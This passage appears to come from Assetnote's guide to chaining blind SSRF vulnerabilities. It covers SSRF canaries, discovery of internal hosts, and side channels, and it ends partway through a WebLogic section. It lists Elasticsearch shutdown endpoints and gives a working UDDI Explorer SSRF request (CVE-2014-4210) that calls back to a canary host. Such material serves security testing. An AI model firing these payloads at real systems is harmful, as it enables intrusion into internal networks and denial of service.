assetnote/blind-ssrf-chainsAn exhaustive list of all the possible ways you can chain your Blind SSRF vulnerability
Server Side Request Forgery occurs when you can coerce a server to make arbitrary requests on your behalf. As the requests are being made by the server, it may be possible to access internal resources due to where the server is positioned in the network. On cloud environments, SSRF poses a more significant risk due to the presence of metadata endpoints that may contain sensitive credentials or secrets.
When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. In the industry, this behaviour is often referred to as "Blind SSRF". In such situations, how do we prove impact? This was an interesting discussion that was sparked by Justin Gardner on Twitter:
I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) January 13, 2021
If you can reach internal resources, there are a number of potential exploit chains that can be executed to prove impact. This blog post attempts to go into detail for each known exploit chain when leveraging blind SSRF, and will be updated as more techniques are discovered and shared.
If we've missed any techniques, please send us a tweet or a DM: @assetnote and we'll add it to this blog.
I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.
— Frans Rosén (@fransrosen) January 13, 2021
In order to validate that you can interact with internal services or applications, you can utilise "SSRF canaries".
This is when we can request an internal URL that performs another SSRF and calls out to your canary host. If you receive a request to your canary host, it means that you have successfully hit an internal service that is also capable making outbound requests.
This is an effective way to verify that an SSRF vulnerability has access to a internal networks or applications, and to also verify the presence of certain software existing on the internal network. You can also potentially pivot to more sensitive parts of an internal network using an SSRF canary, depending on where it sits.
With the goal being to find as many internal hosts as possible, DNS datasources can be utilised to find all records that point to internal hosts.
On cloud environments, we often see ELBs that are pointing to hosts inside an internal VPC. Depending on which VPC the asset you're targeting is in, it may be possible to access other hosts within the same VPC.
For example, consider the following host has been discovered from DNS datasources:
livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
You can make an assumption that the es stands for Elasticsearch, and then perform further attacks on this host. You can also spray all of these blind SSRF payloads across all of the "internal" hosts that have been identified through this method. This is often effective.
To find more internal hosts, I recommend taking all of your DNS data and then using something like AltDNS to generate permutations and then resolve them with a fast DNS bruteforcer.
Once this is complete, identify all of the newly discovered internal hosts and use them as a part of your blind SSRF chain.
When exploiting blind SSRF vulnerabilities, you may be able to leak some information about the response being returned. For example, let's say that you have blind SSRF via an XXE, the error messages may indicate whether or not:
Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.
vs.
Error parsing request: System.Net.WebException: Unable to connect to the remote server
Similarly, outside of XXEs, a web application could also have a side channel leak that can be ascertained by inspecting differences within the:
Online internal asset:port responds with 200 OK vs offline internal asset:port 500 Internal Server Error
The response size in bytes is smaller or bigger depending on whether or not the URL you are trying to request is reachable.
The response times are slower or faster depending on whether or not the URL you are trying to request is reachable.
Possible via HTTP(s)
Possible via Gopher
Tools
Possible via HTTP(s)
Commonly bound port: 9200
When Elasticsearch is deployed internally, it usually does not require authentication.
If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:
/_cluster/health
/_cat/indices
/_cat/health
If you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:
Note: the _shutdown API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
Commonly bound ports: 80, 443 (SSL), 7001, 8888
SSRF Canary: UDDI Explorer (CVE-2014-4210)
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
This also works via GET:
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
This endpoint is also vulnerable to CRLF injection: